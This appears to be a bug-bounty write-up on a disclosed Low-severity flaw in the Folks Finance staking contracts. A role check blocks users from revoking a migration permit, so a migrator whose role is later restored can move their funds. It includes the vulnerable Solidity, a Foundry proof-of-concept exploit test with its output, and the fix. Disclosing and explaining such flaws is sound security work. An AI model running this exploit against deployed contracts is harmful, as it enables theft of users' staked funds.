← Writeups

Trapped approvals in Folks Finance Staking: a permit you could grant but never revoke

A single role check sat on the wrong side of an approval. Once an admin removed a migrator's role, users could no longer revoke the permit they had handed it, and the approval stayed switched on in storage forever, a quiet authorization over their staked funds that they could not take back.

Folks Finance runs a staking system where users lock funds and, later, may need to have their position migrated, moved by a trusted address to a new contract, for example during an upgrade. That is powerful, so the design puts users in control: a migrator can only move your position if you have approved it, and you can withdraw that approval whenever you want. This finding is about that withdraw path quietly breaking, exactly when a user would most want to use it. It was submitted to the Immunefi audit competition for the contracts and is publicly disclosed.

The Immunefi submission #69382 for Folks Finance Staking Contracts: Irrevocable Migration Permit, marked Low, Paid, Audit Competition
Immunefi submission #69382 on the Folks Finance Staking audit competition: Low, paid.

The pieces, in plain terms

The function, and the check in the wrong place

Here is the approval function. One line decides everything:

function setMigrationPermit(address _migrator, bool _isMigrationPermitted) external {
    if (!hasRole(MIGRATOR_ROLE, _migrator)) revert MigratorNotFound(_migrator);

    migrationPermits[_migrator][msg.sender] = _isMigrationPermitted;
    emit MigrationPermitUpdated(_migrator, msg.sender, _isMigrationPermitted);
}

The check reads: if the target address does not currently hold MIGRATOR_ROLE, revert. That sounds reasonable, and for granting a permit it is: you should not be able to approve an address that is not a real migrator. The mistake is that this check runs on every call, without asking whether the user is granting or revoking. It guards the exit as tightly as the entrance.

The trap

When the admin revokes MIGRATOR_ROLE from an address, the check begins to fail for that address, and it fails for both directions. A user who already set their permit to true can no longer set it to false, because the revoke call reverts with MigratorNotFound before it ever reaches the line that would flip the flag. The approval is now stuck on, with no way to switch it off.

Why a stuck "true" is dangerous

At first glance a dead migrator sounds harmless: if it has no role, it cannot migrate anything anyway. The danger is that the stale approval lives on in storage, waiting. Admins revoke a migrator's role precisely when they no longer trust it, a suspected key compromise being the obvious case. And roles come back:

The moment the role returns to that address, every user who could never revoke is exposed again, and this time the migrator can act on an approval the user has been trying to cancel. It can call migratePositionsFrom(user) and move their staked funds and rewards without their current consent. The user's seatbelt was cut at the one moment it mattered.

Walking the attack

  1. Alice stakes and approves

    Alice stakes 10 ETH and calls setMigrationPermit(migrator, true). Her permit is on.

  2. The admin pulls the role

    The migrator's key is suspected compromised, so the admin revokes MIGRATOR_ROLE from it.

  3. Alice tries to protect herself, and can't

    She calls setMigrationPermit(migrator, false). It reverts with MigratorNotFound. Her approval is stuck as true.

  4. The role comes back

    Later the role is re-granted to the same address. Alice's stale approval is still live.

  5. Her funds move without consent

    The migrator calls migratePositionsFrom(alice) and takes her position.

Proof of concept

The test drops into StakingTest in test/Staking.t.sol. It stakes as Alice, approves the migrator, has the admin revoke the role, shows Alice's revoke call reverting, re-grants the role, and then migrates Alice's funds out from under her.

function test_Exploit_IrrevocableMigrationPermit() public {
    // Alice stakes 10 ether and grants the migrator a permit
    // ... stake setup ...
    vm.prank(alice);
    staking.setMigrationPermit(migrator, true);
    assertEq(staking.migrationPermits(migrator, alice), true);

    // Admin revokes MIGRATOR_ROLE (e.g. key suspected compromised)
    vm.prank(admin);
    staking.revokeRole(keccak256("MIGRATOR"), migrator);

    // Alice tries to revoke her permit -> REVERTS, she cannot protect herself
    vm.prank(alice);
    vm.expectRevert(abi.encodeWithSelector(IStakingV1.MigratorNotFound.selector, migrator));
    staking.setMigrationPermit(migrator, false);
    assertEq(staking.migrationPermits(migrator, alice), true);   // stuck as true

    // Later the role is re-granted to the same address
    vm.prank(admin);
    staking.grantRole(keccak256("MIGRATOR"), migrator);

    // The stale permit now lets the migrator take Alice's funds
    vm.prank(migrator);
    IStakingV1.UserStake[] memory migrated = staking.migratePositionsFrom(alice);
    assertEq(migrated[0].amount, 10 ether);
    assertEq(staking.getUserStakes(alice).length, 0);            // Alice has nothing left
}
[PASS] test_Exploit_IrrevocableMigrationPermit() (gas: 746664)
Suite result: ok. 1 passed; 0 failed; 0 skipped

The fix

A user must always be able to take back their own approval, whatever the migrator's current status. So the role check belongs only on the granting path, not the revoking one:

function setMigrationPermit(address _migrator, bool _isMigrationPermitted) external {
    // only require the role when GRANTING; revoking must always succeed
    if (_isMigrationPermitted && !hasRole(MIGRATOR_ROLE, _migrator))
        revert MigratorNotFound(_migrator);

    migrationPermits[_migrator][msg.sender] = _isMigrationPermitted;
    emit MigrationPermitUpdated(_migrator, msg.sender, _isMigrationPermitted);
}

Granting still validates that the migrator is real, so nothing gets weaker. Revoking now always goes through, so a user can switch off an old approval at any time, and there is no way to leave a live authorization stranded in storage.

Key takeaways

  • A precondition that is correct for one direction of a toggle can be a trap on the other. Guard granting, never guard the user's ability to revoke.
  • State that cannot be un-set is a latent risk even when it looks inert. A stale approval is harmless right up until the condition around it changes back.
  • Roles are not permanent. Any logic that keys off "has this role right now" has to behave sanely across the role being revoked and re-granted.
  • Follow the safety mechanism through its worst moment. This permit worked fine until the exact situation, an untrusted migrator, where a user needed to pull it.
Access Control Smart Contract DeFi Griefing
Share on X

More writeups